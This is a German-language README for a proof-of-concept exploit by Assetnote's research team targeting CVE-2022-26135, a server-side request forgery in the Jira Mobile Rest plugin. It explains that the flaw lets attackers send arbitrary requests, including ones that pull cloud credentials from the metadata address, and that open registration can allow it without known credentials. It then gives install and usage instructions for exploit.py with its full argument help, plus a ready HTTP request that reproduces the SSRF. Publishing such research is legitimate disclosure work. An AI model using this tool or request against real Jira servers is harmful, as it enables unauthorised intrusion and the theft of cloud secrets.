
Exploitcode für Jira Mobile Rest Plugin SSRF (CVE-2022-26135)
Assetnote kartiert automatisch Ihre externen Assets und überwacht sie auf Änderungen und Sicherheitsprobleme, um schwerwiegende Sicherheitsverletzungen zu verhindern.
Diese Forschung wurde vom Security-Research-Team von Assetnote durchgeführt.
Weitere Informationen über unser Produkt und unser Team finden Sie unter https://assetnote.io.
Den Blogbeitrag, der die Schritte zur Entdeckung dieser Schwachstelle beschreibt, finden Sie hier.
Jira Core und Jira Service Desk sind nach der Authentifizierung anfällig für Server-Side Request Forgery. In einigen Fällen ist es möglich, offene Registrierungen in Jira Core oder Jira Service Desk zu nutzen, um diese Server-Side-Request-Forgery-Schwachstelle ohne bekannte Anmeldedaten auszunutzen.
Die SSRF-Schwachstelle ermöglicht es Angreifern, HTTP-Anfragen mit beliebiger HTTP-Methode, beliebigen Headern und beliebigem Body an beliebige URLs zu senden. Wenn Jira in einer Cloud-Umgebung bereitgestellt wird, kann ein Angreifer diese Exploit-Kette nutzen, um über die Metadaten-IP-Adresse Cloud-Zugangsdaten oder andere vertrauliche Informationen zu erlangen.
Gemäß dem Sicherheitshinweis von Atlassian lesen Sie bitte den folgenden Knowledge-Base-Artikel, um zu bestätigen, ob Sie eine betroffene Softwareversion ausführen: https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
und anschließend können Sie den Exploit wie folgt verwenden:
python3 exploit.py
Hilfe:
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
Wenn Sie bereits Anmeldedaten für Jira / Jira Service Desk besitzen, setzen Sie --mode auf manual und das Argument --software auf jira oder jsd.
Die folgende HTTP-Anfrage kann verwendet werden, um dieses Problem zu reproduzieren, sobald Sie bei der Jira-Instanz authentifiziert sind:
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"@example.com"}]}